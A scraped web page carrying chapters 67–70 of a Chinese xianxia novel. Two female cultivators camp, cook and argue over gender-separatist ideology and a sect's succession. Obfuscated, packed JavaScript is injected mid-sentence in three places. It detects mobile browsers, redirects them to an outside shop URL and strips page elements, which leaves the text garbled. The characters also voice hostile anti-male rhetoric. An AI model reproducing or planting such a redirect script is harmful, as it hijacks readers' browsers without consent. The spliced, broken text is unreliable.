就像她和伶舟絮。虽然从思想上,两个人有龃龉,但是万幸,女佺运动从来都并不仅仅是一场“思想运动”——只是“想”,并没有办法直接改善女性失权的事实,因为就算想杀死丁的一千一万遍,只要她没动手,那丁的就还是活蹦乱跳的,所以尽管理论上,思想能牵动行为,然而从女佺上,实际从来都是“做比想更重要”(论迹不论心)。只要保证两人最终能从行为上彼此扶持有利于女佺运动,那么就够了——换句话说,就是:有效性>纯洁性,她们最需要的从来都是先找到最有效的办法实现目标,而不是只去纠结“你我之间谁从女佺主义思想上更先进”。而伶舟絮显然已经找到了属于她自己的方法论,萧隐想:我也是时候该多干点实际的事了—— 于是她思索片刻,终于问出了结束那场对话后的第一句话。 “絮姑娘想吃什么?” 67.进食 “……啊?”伶舟絮呆了一下,萧隐提示:“我们目前在昆仑山西部,这里虽然说可能有猛兽出没,但是物产资源也很丰富,比如……”伶舟絮一句话都没听进去,她扭头望着萧隐,表情看着懵懵然。 萧隐:“絮姑娘想吃哪一样?” 伶舟絮:“啊,都、都行……都行。” 萧隐点头,开始清点家伙,看样子是准备出去猎食了。望着萧隐的侧脸,伶舟絮还是觉得,不可思议。萧隐这么一个在性别议题上能说会道的人,原来还会有直接转移话题的时候。可萧隐看来这也算一种不得不为。 玄门中人虽然有辟谷丹能用,但是不论怎么说都还是人,只要还是活人就得需要新陈代谢,辟谷丹这种药品的问世尽管从一定程度上给了修士们更多便利,但是那也是应急物品。 辟谷丹不能补充修为或改良经脉,却能提供饱腹感和身体往常摄食所需的营养,这是众所周知的事。可辟谷丹吃完了不但会产生嗜睡的副作用,依赖一粒辟谷丹所获得的能量还最多只能维持12小时(6个时辰),而接下来几天,她们还要长途跋涉走回去,这期间说不定会遇到什么找不到食物的时候,所以萧隐并不打算直接动用这份应急资源。可这样一来,她们就总要解决一日三餐才行。 如果是夜晚狩猎,那么就相对来说更容易遇险。 实现女佺在性别战争上的全面胜利所需的方法论虽然涉及后续一系列关键问题的部署和处理,但是比起她们现在所需要的裹腹和安全走出山林而言也没有那么紧急。 因此,萧隐思来想去了一下,决定先中止有关于方法论的争论,着手满足自己和伶舟絮目前的生活必需。 对于吃什么,她自己是无所谓的,当年饿急了,草根树皮只要找到了没有毒的就能生啃,可现在不止她一个需要进食,她也就先询问了一下伶舟絮的意见。 这时细想了想对方刚才所说的“都行”,她就皱了皱眉。伶舟絮以为她还要接着谈那些性别议题的事,于是提前打了一堆腹稿,却听萧隐忽然说:“松鼠肉虽口味不赖,但是连续两顿饭都吃同一样东西,恐怕会让人心生厌倦,所以这一餐我去寻点儿瓜果蔬菜或菌类,今晚我们熬汤喝,如何?” 伶舟絮听完一愣,接着点了点头,看着萧隐远去的背影,她才逐渐反应过来,按照萧隐的习惯,她皱眉不一定是因为疑惑、不满或还想接着做什么探讨,也可能就是出于思索——看着萧隐逆着夕阳走回来又腰间别着只圆鼓鼓的大袋子之后,伶舟絮开始怀疑:她是不是真的就是为了问我想吃什么才特意思索的? 萧隐打开袋子之后,伶舟絮确定了:没错,她就是。 那袋子里不仅有萧隐自己说过的瓜果蔬菜、菌类,还有几只松鼠——是她最近没吃够还想再多解解馋的东西,伶舟絮迫不及待帮忙把其中一条松鼠提了出来,但却突然感觉到了一阵不对劲。 她偏着头还不等细看,一只手就捂住了松鼠的脑袋,伶舟絮抬头不解地看着萧隐,萧隐:“絮姑娘辛苦了,先休息吧,饭好了叫你。” 伶舟絮摇头:“不辛苦不辛苦,我帮你吧。”她说着就要伸手把另外几只松鼠依次拽出袋子摆好,可萧隐却拦住了她:“我擅长处理荤腥,这些事我来就好。” 伶舟絮想了下,也对。 在终南她二人闲聊时萧隐从前说过,她不仅是个农妇,还是个屠妇出身,干活又利索,在老家时每逢佳节或红白喜事时都有人会找她做工。经年累月,牛羊猪狗,经过她手处理的,没有一千也有八百。她确实比自己这种十指不沾阳春水的更便于处理这种食材。 于是她放开了毛茸茸的松鼠尾巴,“我帮你处理这个吧!”抱住了那一兜子蔬果和菌菇,伶舟絮扭头说。 萧隐不知为何似乎微微松了一口气,掏出一只小盆、一副手套和一只水囊递给伶舟絮,明显是答应了她的帮忙。 伶舟絮欢快地戴上手套。萧隐也就没再多注意那边的动静,然而余光发现伶舟絮半天也一动不动,她还是顿了一下,关心道:“怎么了?” 只见伶舟絮抱着一盆瓜果蔬菜和菌菇,沉默了片刻,抬头露出了个窘迫的笑:“这些都是怎么处理的来着?” …… “你会不会觉得我很没用呀?”伶舟絮吸溜着菌菇汤,含糊不清的问。 萧隐:“絮姑娘当心。” 咕咚一声,伶舟絮咽完了汤,把汤碗递给萧隐。“那些瓜果蔬菜和菌菇,你都找来了,我还是不会弄,”她看着噼里啪啦发出响声的火堆,撑着腮叹气:“不仅如此,你做的降落伞、袖箭,我也一窍不通……” “这些本也不是什么大事,”萧隐一边给她盛汤,一边说,“絮姑娘无需介怀。” 伶舟絮接过汤碗,没有喝,只是闻声又摇头了两下。“也不是介怀吧,”她说着,稍稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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伶舟絮有些晕:“你说简单点,我听不懂。” 萧隐:“简单说,幸运或不幸,如果有一个相对客观的标准进行衡量,那么一个人是更幸运一些,还是更不幸一些,也就只看你是否触发了那个随机的概率而已。 “可我非常讨厌这种不确定性。”注视着那丛烈烈燃烧的火,萧隐低声说,“因为我没办法确定我是相对幸运的那个。而现实中,我还恰好就是相对不幸的那一撮。所以我有时候就会想,为什么这世上连一个相对来说比较平允的标准,都很难真的存在呢?如果所有人都在同一条起跑线会怎么样?如果我生在一个实现物质财富极大丰富、人民精神境界极大提高、每个人自由而全面发展的社会,那么我所面临的一切还会像现在一样乱七八糟吗?” 68.弯路 “先前我说,我讨厌别人比我运气好,是因为我讨厌这种随机概率,当时我认为这是我有‘人人平等’的这种超前的意识的体现,可后来我细想了一下,那时候我讨厌这种随机,其实和‘平等’意识没太多的关系。如果我真的随机成了一个高女,那么我会什么样,我不太知道。可我想,以我的本性,我最起码在知道了这件事是随机出来‘利我’的时候,并不那么愤恨了,反而会松一口气。”她不加掩饰地说,“我会庆幸还好不是我自己受害,这种庆幸可能会从一定程度上遮盖掉我以为我拥有的那些‘良知’——所以我为什么愤恨?只是因为我自己多么‘思想卓越’多么‘高尚’吗?不是的,还因为我痛恨这种随机使得我没办法确定我就一直都是相对幸运的那个。 “偏偏在现实中,如果以阶级、禀赋做划分,按照从上到下来比对,我还恰好就是相对不幸的那一撮。而我当时还找不到合适的解决办法,”说到这里,她轻轻顿了一下,“当然了,如果要讲方法论,那么絮姑娘也知道,我现在只有世界观,没有方法论,可值得一提的是,世界观决定方法论,而我当时就是因为世界观偏移,所以才找错了重点,认准即便在女丁共存时也是阶级矛盾大于等于性别矛盾,从而走了一段时间的弯路。” 伶舟絮应声点头,“那你后来……是怎么发现你自己走了弯路的?” 萧隐顿了顿,“就是在听说了魏华存的事之后。” “魏华存?”伶舟絮想了下,“你是说那位在衡山开山立派的紫虚元君?” 萧隐:“对,在当时的我看来,她是个地地道道的高女,她生在官宦世家,家里头不说家财万贯,比起我这种一贫如洗还得不断劳作才好勉强维持生计的人明显过得舒坦多了,而且她不光有良好的家境,还有优越的条件能方便她读书认字,甚至就连修仙的天赋她也有,当时我第一次听说她的名讳,就特别愱恨她。”她放下汤碗,望着火堆说,“我心想,如果这世上真有一个容器,能容纳所有的运气,那么别人多占了,我也就少拿了。而她显然就是那种多占了便宜的人,甚至于我和她不仅是同性,还是同乡。这是我那时候为数不多听到的和我从地理位置上几乎‘相距不远’的名人,立刻我就恨极了她。因为她和别人不一样,她离我近,她的光芒就会更加刺痛我,让我认识到我和她相比之下我有多么不幸多么不堪。 “我就在想,如果我把她比下去,那是不是就代表我‘胜利’了?我不知道,可只是做了这么个精神胜利的假设,对当时的我来说也已经是很值得手舞足蹈的一件事,为此我开始不断找有关她的资料,试图尽全力拼凑出她完整的人生,然后从中找出我能够比她更优秀的点来聊以慰藉。”说到这里,她低着头轻轻嗤笑出声,“不知道哪个人得知了我的这种行动,那时候就有人笑我:‘自己没那个富贵命就开始搜罗别人的富贵命做白日梦’……这么说的人不知道,我哪里是想给自己捏个白日梦来?我那是想着和魏华存进行雌竞。我是想把她打下去,让自己心理平衡。” 伶舟絮有些愣住了,她显然没想到萧隐有这么多古怪的过往。 “后来呢?”她听见自己低低的问话。 那声音有些小心翼翼,因为伶舟絮觉得萧隐口中的那个“萧隐”,她很陌生,那是一个破坏欲极重、破坏力极强,还很可能会无差别攻击所有她看不惯的女人的人——她对于这样的“萧隐”是惊诧、厌恶甚至是畏惧的,毕竟她知道,如果换到了那个时候她和萧隐结识,那么萧隐恨的人就可能是她,而萧隐的恨还是一种太粘稠太沉重也太激烈的东西,她几乎毫不怀疑,那种恨意会同时毁了萧隐和萧隐所恨的那个人。 所以她有些忐忑。 萧隐也发现了她这些不安,于是偏头看了看她,伶舟絮松了一口气——那双黑沉沉的瞳仁中映出跃动的火光和她的脸,没有怨恨也没有轻蔑,只有冷静、清和,以及一些关心。 还好,她面对的是现在的萧隐。伶舟絮摇摇头示意自己没事,“你接着说吧。” 萧隐接着道:“再后来有人故意和我说,‘你别做那些大梦了,你作为一个女娃娃,生来就是别人家的人,魏华存后来不也是嫁人了吗?’ “而我最想听的就是这种话。”她撑着下巴,看着火上那口热气腾腾的锅,好像从蒸腾的烟雾中真的回到了那个时候,“我那时候本就是奔着和她雌竞,这才使劲搜罗她的消息的,而我还因为认识到了,在丁社,婚姻就是让女人不得不冠夫姓、从夫居、随父姓,方便丁人合法合理压迫女人的一种制度产物,所以我从那时候起就下定决心,我这一生,绝对不要沾丁,也绝对不能和丁的步入婚姻。 “可魏华存沾丁了,还跟丁的成亲了。”她说,“当时我听到了这点几乎内心狂喜,因为我终于找到了我疑似比她更胜一筹的点,毕竟我是单女,丁佺用婚姻制迫害女人,我以为我只要不进入婚姻(保持单身),那么就能幸免于难,所以我强压下喜悦,绷着脸问那个丁的:‘你胡说八道什么?’ “他更以为我这是在给魏华存找补,实际上,我只是想借机让他透露更多消息,我想要进一步咀嚼魏华存的苦难,然后借此获得更多虚假的胜利带来的成就感。 “他不知道,只以为接着说了魏华存的事就会打击我,于是和我说了魏华存的生平,说她家富贵,说她天资聪颖,也说她一心慕玄,不沾红尘,每一句话都让我心中恨得牙痒痒——我恨她比我强,更恨我不是她。 “直到他说到魏华存24岁那年,”萧隐停顿了半天,伶舟絮本来想问“魏华存24岁那年怎么了?”,可她很快就想起来了什么,也顿住了。 咕嘟嘟冒泡的菌菇汤翻腾着水蒸气,不知过了多久,她听到萧隐清朗的声音穿越那一团团弥漫在两人之间的混着白色烟雾的热意飞了过来: “魏华存她爹,把她强行嫁给了一个丁的,就在她24岁那年,然后魏华存被迫屙了两个丁的,这才和那丁的分居,正式开始修仙,最后在玄门名垂青史。” 伶舟絮沉默。 这个结局很久以前她们就都知道了,只是再次提起时,她们还是都有些默然。 “我一开始不信,抓住那丁的说,‘你敢骗我,我杀了你’,”萧隐继续说了下去,“我觉得她既然是高女,那么就不会接着走这么崎岖的路,她肯定有更多的选择,那个丁的肯定骗了我,真实情况肯定就是魏华存没有嫁人。一瞬间,火气、怨气和疑虑烧得我肺腑生疼,我抓住那丁的差点揍了他——当然了,后来我还是把他打了,因为他过了一阵,确实伙同那帮狐朋狗友,找到了魏华存被迫嫁人的证据,我当时沉默了许久,最后和牠们狠狠打了一架。”说到这儿,她将右手攥拳,送到伶舟絮跟前,“我打落了那丁的三颗牙,手不小心碰伤了一些,”萧隐用左手指了一个位置,“这里就是当初那一架落下的疤。” 半条月牙形的痕迹围绕在她的右手食指最底下那个指节中央。 伶舟絮轻轻摸了摸那道疤,“疼不疼?”她问萧隐。萧隐摇摇头。早就不疼了。因为年头久,这疤看上去还似乎都有些模糊不清了,只不过那些事她还记忆犹新。 伶舟絮听她继续说:“打架那时候我也感觉到气得自己五脏六腑都针扎似的疼,可这次我并不是出于对魏华存的愱恨才难受了,”萧隐低声说,“我是因为认识到了自己从前有多蠢,这才难受—— “在我想着咀嚼她人苦难,让自己稍微‘好过一些’的时候,丁人在做什么?牠们还在害女;在我侥幸我是单女,就绝不会受害的时候,丁人在做什么?牠们在强迫单女步入婚姻,在强迫女人屙出下一代丁人,然后世世代代,丁丁平等。女人则是牠们看来的繁衍工具,也是牠们毕生的附属品——我那段时间,一直告诉自己,你是底层人,比你更幸运的人,都欠你的,你是底层劳动人民,你还能做单女,这恰恰说明你拥有比她们——比那些阶级比我高、天资比我好、家世背景比我强的女人,拥有更先进的思想、更无瑕的灵魂。可是呢? “难道我是因为自己是底女,所以就幸免于难的吗?”萧隐反问。 “不是的。”伶舟絮听到自己的回答。 萧隐:“对。不是的。” “抛开阶级问题,暂且不谈。魏华存和我,都是女人,都有一腔宏图大志,都不想沾丁,可她还是被迫沾丁了——这说明什么? “这说明,我之所以能这样顺利的不沾丁,也并不一定就是因为我‘思想卓越’,这还是因为相比于那些被迫沾丁甚至受到丁佺蒙蔽而敌我不分的女人,我更幸运了一些。仅此而已。 “我曾一度认为,我能不沾丁,都是因为我主观能动性强,都是我自己的功劳,都是因为我就是比别人高等,可这种精神胜利法有改善我真实的生活处境吗?没有; “我那段时间一直觉得,高女也该杀,毕竟高女比我占了更多便宜,比我享用了更多资源,甚至还剥削了我,而且高女有更多的选择权,肯定是高女跟高丁都是同气连枝,都该死。可是呢?”萧隐低声说,“可是魏华存还是因为她的性别所以不但连家产继承权没有她的,甚至连自主权都没有。纵使她阶级再高、天赋再出色,再怎么锦衣玉食,到头来,只凭她不是丁的,她就还是得顺应大流,甚至是不得不低头……所以我该恨的到底是谁?是同样活在丁佺社会的迫害下,但却因为概率所以就比我更优秀的女人,还是那些比我生活条件更优渥的女人?是那些不如我幸运,目不识字,只能日复一日辛苦劳作然后还少挣了那么多钱的女人,还是那些思想上都还在受到丁佺荼害的女人?压在我们身上的重担,到底让哪个群体最终获利?真的是女人真正获利吗?如果是,又为什么魏华存、曹文逸、谢自然这三个高女都照样被人逼着和丁人结婚?只是曹谢两人运气更好,逃出生天,可魏华存就没那么幸运了,深陷泥淖,只此罢了。而一个个女人的陨落,都最后成为了谁的养分,都托举了谁?——显而易见。” “可这个问题,我竟然从9岁想到了14岁,花了整整5年走弯路,这才终于想得通。” 伶舟絮拍了拍萧隐的手,将头微微依靠在了萧隐的肩头,有些无声的安抚。 萧隐微微叹了一口气,情绪似乎也平复了一些:“在走弯路的那段时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啥????”伶舟絮目瞪口呆,一下坐直了身体。萧隐刚好把烤好了的松鼠拿下来递给她。 她愣愣接过松鼠肉,却没有立刻吃,而是看着萧隐,目光中带着些始料不及,“你不是女佺主义者吗?” “我是。”萧隐一边给自己添了几勺菌菇汤,一边接着说,“可就凭我现在成了女佺主义者之一,我就能否决自己从前的厌女仇女吗?显然不是的。因为不论是不是女佺主义者,厌女仇女的情况既然在我身上存在过,那么就不容否认。对自己厌女仇女的过往加以否认,那么就是在自欺欺人。” “……你不觉得你这么说其实很伤自己的面子吗?”伶舟絮小声问。 她注意到萧隐说话时的神色一直都很平静,好像那些不堪和自己并不相关,她不羞耻也不粉饰,甚至不为当初的自己辩驳——她想,萧隐是真的甚至没有为从前的她自己辩驳。好吧,萧隐说的是事实,可是即便如此,她伤及颜面也是肯定的了,毕竟她这是直接挖了自己的黑历史给别人看,还毫不留情把当初的自己拎出来批判,这种做法在伶舟絮看来不亚于自打脸。她很少见到萧隐这种人。绝大部分她遇到的人,就算草包也要想办法往自己脸上贴金,怎么还有人能这么平和自然地“认错”呢? “还好。”萧隐吹了吹碗里的汤,“丁佺社会下,没有女人不曾厌女。我也只是说出我的真实过往而已,如果这就算伤了面子,那也是我原本需要承担的后果,毕竟那种‘不光彩’的事,我确实做过。主观上否认我做过的乌糟事,并不会从客观上抹去这件事。 “换句话说,为了面子就自欺欺人解决不了问题,还会掩饰问题。掩饰问题还容易扩大问题,然后被扩大后的问题,还会反扑回来,致使我引火烧身。所以即便只是从利己的角度看,我也不该想着自欺欺人,”说着,她抿了一口汤,“更何况我现在想救的也不仅仅是自己。 “说起来,我特别愤世愱俗的那段时间,也并不是光想着仇女厌女,在非系统化理论化的大概认识到阶级问题的存在之后,我也经常想,为什么这世上连一个相对来说比较平允的标准,都很难真的存在呢?如果所有人都在同一条起跑线会怎么样?如果我生在一个实现物质财富极大丰富、人民精神境界极大提高、每个人自由而全面发展的社会,那么我所面临的一切还会像现在一样乱七八糟吗?而在后来,在得知了魏华存的事,认识到我们(全体女性)现在所面临的主要矛盾是性别战争之后,我也就明确了自己的目标: “我想建立一个无丁的、全女的社会,让女人们先彻底摆脱性别问题,然后我们再平息阶级问题。最后实现天下大同。” 伶舟絮愣住了,萧隐以前也讨论过她那个全女社会的目标和构想,可是没有一次,她这么完整的把自己的从前、后来和当下和伶舟絮这么铺开了讲。 忽然,萧隐的目光小小动了一下,往下看去,只见一只更短小一些的手正搭在她的手上,伶舟絮这才发现原来自己不知何时已经握住了萧隐的手,可她并没有退缩,而是在萧隐的凝注中,和她十指相扣。 “你知道我刚才为什么会说我现在有些自卑吗?”伶舟絮将脑袋轻轻搭回了萧隐肩头旁边,问。 69.篡位 “为什么?”萧隐直接问。 伶舟絮:“因为你。” 萧隐:???????? 伶舟絮:“遇到你之前,我从来没想过有朝一日还能有人叫我自卑,”她回想了一下,“虽然我身边也有很多家世背景和禀赋都不赖的人,但是我总觉得,从这些,别人未必比我强,毕竟我的起步点,就是终南这一代两位掌门的独生女。” “两位掌门……”萧隐细想了一下,沉吟:“絮姑娘是说,你的母亲是终南这一任原本的掌门?” 伶舟絮点头:“我娘是我姥爷的独生女,这掌门之位,当然是她的。” 我是我爹的独生女,有我娘的血脉,这掌门之位,将来也必然是我的囊中之物。她省略了这句话没说,却心中笃定必然如此。 萧隐听她说完,却已经皱起眉头。“女子一向比丁的长命,既然终南掌门的位置还是直接传到了女人手中的,怎么事到如今,终南竟然还是丁人当权?” 伶舟絮怔了下。 萧隐说完也是微微一愣,随即低声道歉。 她刚才只顾着思虑,没细想这还可能揭开伶舟絮的伤心事——毕竟伶舟絮看上去自小就没了娘,她这时冷不防一说,虽然无意冒犯,但是究竟听起来有些不当。 “没事,”伶舟絮摇头,“我娘本来就还在,她只是无法与我相见而已……”说到这儿,她眉宇间顿了一些落寞,萧隐便也只好按捺下自己的好奇心,没有追问,而是抬手轻轻摸了摸伶舟絮的头发。 伶舟絮抱紧了她的胳膊,低头咬了两口还温乎的松鼠肉,道:“没什么啦,我也都习惯了。” 萧隐沉默了一息,试探道:“絮姑娘可否同萧某讲讲您母亲是个怎样的人?” 伶舟絮一听双眸蓦然一亮,明显也来了劲,她兴冲冲就近捡了根树枝,在地上飞快划拉出三个人影,两个长胡子的,两个没胡子的。萧隐偏头去看,只见那没胡子的两个人,一大一小,伶舟絮将那没胡子的大人画了圈,“这就是我娘! “我娘名唤伶舟闻,‘之子于征,有闻无声’的‘闻’,是个英杰,早慧得很,像我这么大的时候,她都算是打遍天下无敌手了,当年的群英宴,那是真正的群英荟萃,她更是轻轻松松就拔得头筹,完全不用像我现在似的对付几个小鱼小虾还满头大汗。”说着,她三两下吃掉了最后一点肉,边嚼边说,“而且她不光武艺高强,诗书也学得好,似乎还有过目不忘的能耐,活脱脱就是个远近闻名的盖世之才!不是跟你吹啊,我娘和我爹在当时那可真就是玄门人人称道的‘谢女檀郎’了!” 闻声,萧隐摸着伶舟絮头发的手稍稍顿了一下。 她看书杂,知道“谢女檀郎”指才貌双全的情侣,可是跟通用的“丁才女貌”不同,这“谢女檀郎”中的“谢女”,是晋代谢道蕴,聪慧过人,代指才女;“檀郎”,是晋代潘岳,小名檀虜,仪容俊逸——换句话说,这谢女檀郎,意思就是“女才丁貌”。 可她往常很少听着有人用这种词来形容情侣,大部分人,只会说“丁才女貌”,不说“谢女檀郎”,想不到她破天荒听着有人用这词(谢女檀郎)形容情侣,竟然是这等关头。然而这并不是最让萧隐讶异之处,只见她眉头紧锁问伶舟絮,“令母大才至此,又是终南掌门之位的第一顺位继承人,为什么现在这权位,兜兜转转竟然流到了你爹手中?而不是让你直接继位?” 伶舟絮听了,也是小小一顿,可她很快就接茬儿,道:“我娘去镇守秘地那时候我年纪小,才六岁吧,哪有六岁孩子做掌门的?” 萧隐却说:“玄门还没崛起时,历朝历代尚处于旧制,可即便在封建王朝,稚童登基,问鼎天下,也未尝不可,虽然一开始从权力上有别人从旁辅佐未免有后顾之忧,但是那光明殿上的宝座终归是自己的,且随着时间流逝,待到成年,有部分帝王也能够清剿那些篡权贼人,最后大权在握。” 她说着,忽然握住了伶舟絮的手,与之对视,“何况如今玄门女子12岁便能及笄(成年),按照常理,但凡成年,也就可以自立门户,或继承家业,更何况絮姑娘又有如此雌心壮志,作为朝夕共处的血亲,你爹想必也对此了如指掌,那他为何还迟迟不将终南掌门之位传给你?” 伶舟絮闻声,有些愣了。“你是觉得我爹篡了我的权了?” 萧隐顿了下,到底应声。“不止你,还有你娘。可篡权这事如果当真,那么参与者就必然不只有你爹。” “什么意思?”伶舟絮皱眉,“我娘当时已经去镇守秘地了,除了我爹和我,当时还在的就是我姥爷了,你是说,我姥爷伙同我爹对我娘和我篡权吗?” 萧隐点头。 伶舟絮仿佛一下子被人点了哑穴,双目圆瞪,萧隐没有回避她的注视,也没有再多说什么,因为从伶舟絮的反应来看,她就知道,不论她还说什么,伶舟絮肯定都不信。 事实上,伶舟絮也确实不信萧隐提出的这个“推断”——终南也是时兴“一家传万代”的,就算之前出了个丁的,败家,在牠那一任差点把整个终南都败得兜比脸干净,她家也还是没改正策,始终都秉承着一家当权的传统。而她娘伶舟闻,天纵奇才,又是终南独苗,还年少成名,禀赋、身份、名头,样样不差,不论怎么看,都是个最适合继承家业的人物,甚至一开始她姥爷就把她母亲伶舟闻作为了继承人来培养,一直以来,伶舟闻身上又不缺金银财宝又不缺课程资源的,多年来,除了让她娘伶舟闻必须招个赘婿进门以外,在伶舟絮的印象中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203736|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这姥爷几乎就没有一件事不依她的。 “赘婿?”萧隐立刻捕捉到了关键词。 伶舟絮:“是啊,我爹就是入赘的,孤儿一个,胜在家世清白,皮相好,禀赋也不烂,运气呢也还算不错,年少时就曾让我姥爷偶然一次云游时捡了收为义子,和我娘也算青梅竹马了,一直同她关系不错,同时我爹是个很安分的,该说的、不该说的,他一向心中有数,而且因为他为人端方持重,还机敏好学,又心细如发,在我姥爷传位给我娘没多久以后,他就成了我娘处理事务时的贤内助,我姥爷也非常赏识他,因此这才在我娘走了以后,特意改了一下规矩,允许他暂代掌门一职。” 萧隐:“……” 伶舟絮:“他这么多年,没功劳也有苦劳吧,而且他也是把我当继承人培养的,多年来,我除了锦衣玉食,别的想要的,他也是对我有求必应——”发现萧隐看她的目光越来越复杂,伶舟絮的声音渐渐低了下去,可她还是坚持道:“总之,我觉得你不用太杞人忧天了。我家人我自己了解,他们肯定都不是你想的那种篡权的贼人。” 萧隐:“……那你姥姥呢?” 伶舟絮停滞了一下,“我姥……”她挠了挠头,冥思苦想,“我没见过我姥,只听我娘说,我姥爷也是个入赘进来的,我娘她也是随母姓。”说到这里,她忽地皱了皱眉,掰着手指算了算,“我家这一支从来都是女儿多,而且极容易从女人里出天才,甚至有传说,我家这一支是当年那个什么皇帝遇到的北斗七星神女的后人……这才导致我家世代一向多生女,少生丁。女的资质和脑筋怎么也比那些丁的更强劲一些。不过,一直以来,不论女的还是丁的,大家都是随母姓伶舟。我姥、我娘、我,就都是用了这同一个姓氏。” 萧隐颔首,“姓氏和性别以外,你们家族的女性还有什么共同之处吗?” “要说别的,那我就不知道了。”伶舟絮说完,忽而想起了什么,一拍脑门,“对了!还真有!” 萧隐闻声立即凑了过去,伶舟絮:“我娘我姥的人生经历有些像,虽然我姥比起我娘多了几个姊妹,可她们都是天才,也都是招了赘婿进门的,更是都在最后去镇守了秘地……” “为什么一定要你家女性去镇守秘地?” “不知道。”伶舟絮摇头,“我只听说,我姥当年也赶上了人间浩劫——浩劫也是从终南那个秘地来的,所以说她最后也去了那里,镇守着,再也没回来……” 听到这儿,萧隐已经眉头紧蹙了。 她没有继续听下去伶舟絮接下来那些家长里短,有的没的,而是单刀直入,问:“那现在,你姥爷已故,你娘镇守秘地,你爹替你代管了宗门这么多年,你已成年,他可曾说过几时要还位于你?” 70.疑虑 伶舟絮颦眉:“你怎么一定急着问这个?”她偏头看向萧隐,“你之前不是还说‘在丁佺统治下,正治梯子,女性爬不上去,就算费劲爬上去,那也是鸡肋’吗?” 萧隐:“我确实有这种推断,可你家的问题,不仅涉及了‘爬正治梯子’,还涉及了另一件事,那就是丁人篡权。” 伶舟絮:“……我说多少次了,那都是事出有因。你刚才提及封建旧制的历史,那我也提醒你一下:弑君夺位,抢班夺权、谋权篡位,不在世袭之例,这不假,可自古以来谋权篡位都是血流漂橹的,而我家从来没有一个人流血牺牲就为了这所谓的掌门之位。即便是去了秘地的我姥、我娘,她们也都还好端端活着,命灯都是亮着的。我姥爷自从把位置交由我爹代管以后,我爹多年来对她们也是很上心,不仅往常会叫我不时对着她俩命灯行礼问好,汇报日常的学习情况什么的,等到逢年过节了,给她们烧香祈福,他也是不少做,不止一次我还看到他在房里对着我娘的东西失神,这是一个‘乱臣贼丁’有的架势吗?再说你也讲了,我爹要是真篡权上位的,那么他肯定不仅挤兑我娘,还得打压我,可这么多年,我看到的就是他心心念念的就是我娘,对我也是一向疼爱,所以你到底在担心什么?”萧隐闻声顿了顿,究竟一言不发。伶舟絮见状,虽然知道她这态度已经算服了软,但还是忍不住又说,“我知道你是好心,可你就这么当着我的面儿,直接恶意揣度我家人,这确实也挺失礼吧。” 萧隐听罢又愣了一下,低着头低声说了句抱歉。 伶舟絮摆摆手,腾的一声直接站了起来,她似乎是无奈也似乎是有些不耐烦,眉头锁着,活动了两下筋骨,就兀自走回了帐篷,帐篷中统共有两个卧铺,她就近挑了一个,倒在铺上仿佛睡了。 帐篷外,萧隐身边只剩下了明暗扑朔的火光,她坐在原地,眼眸低垂着,眉心也有点起褶。 终南是玄门发源地,从千年前各大宗门围剿蛇女(风栖)一事之后,更是一跃成为了整个修真界目前最气派的门派,这些事,原本还不足以让她特别惊奇,毕竟从伶舟絮当初说到终南参与那场围剿活动时还名不经传,她就猜出了,肯定是因为那场活动让别的宗门元气大伤,所以从矮子里拔大个儿,这才让终南有了如今的辉煌,可经过刚才那一段往事的补充后,萧隐忽然发现这件事比她想象的还要复杂—— 如果说终南原本就是女性掌权,那么按理说终南招生也不至于对女人卡太死,伶舟絮今年14岁,6岁那年,伶舟闻(伶舟絮她娘)去镇守秘地,彼时伶舟絮她姥爷还活着。如果说按终南在伶舟闻上位时真的进行了一定洗牌,才8年时间,怎么门中不论大的小的老的少的,加起来一看,不论从领导层,还是从附属层,上上下下,全都是一水儿的丁多女少?是伶舟絮她爹和她姥爷原本就明里暗里弄出来这种境况,还是说伶舟闻根本也就只是个名不副实的掌门? 而且千年前那风栖生就一副女人模样,又是个能凝聚起女盟的女佺主义先锋——这种凝聚力绝不是凭空出现的,不仅是人和,肯定还有合适的环境、时机做了辅助,那么在当时如果终南还是女性掌权,按理说即便不跻身女佺运动,也不该参与围剿活动才对,何况按照风栖那暴起反杀一众大能的架势,如果说终南真的在当时能算主力,那么肯定也不至于苟到现在。所以萧隐推断终南那时候力薄,去了也可能就是捧个人场……既如此,终南不去又何防?或者说,终南去了也只是负责个后勤而不去直接征战沙场,又有何不可? 究竟为什么终南也会加入那场围剿女佺主义者的血战? ……又到底为什么伶舟絮的母亲和姥姥全都在招了赘婿后就都有“浩劫来临”促使她们不得不“镇守秘地”?这秘地究竟是什么地方?真的是跟“天下兴亡”相关吗? 伶舟絮的姥爷又为什么趁早收了伶舟絮他爹为义丁,并在传位给伶舟闻(伶舟絮她娘)之后还授权伶舟絮她爹辅佐之位?伶舟絮说,她姥爷是个女儿虜,还从来把伶舟闻当继承人培养,可果真如此,他难道不知道只要允许丁的从旁辅佐,那么就会导致女儿不得不分权给丁的,从而后患无穷?甚至如果他真的那么在乎他女儿,就不该让她和那丁的青梅竹马,而应该让女儿对丁的祛魅……就算是为了繁衍才让伶舟闻必须招赘婿进来,那也完全可以有了伶舟絮以后,就去父留女——可这当然不可能。 萧隐心想,女丁利益对冲,先天所有的性别就已决定了该人的立场,这世上从来就不会有任何丁的真心实意、完完全全的站在女性为主体的立场上,为巩固女佺所考虑。而且,伶舟絮说过,她姥爷原本也是个赘婿出身。 赘婿在女的“镇守秘地”后继位掌权……又勒令女儿必须找丁的入赘…… 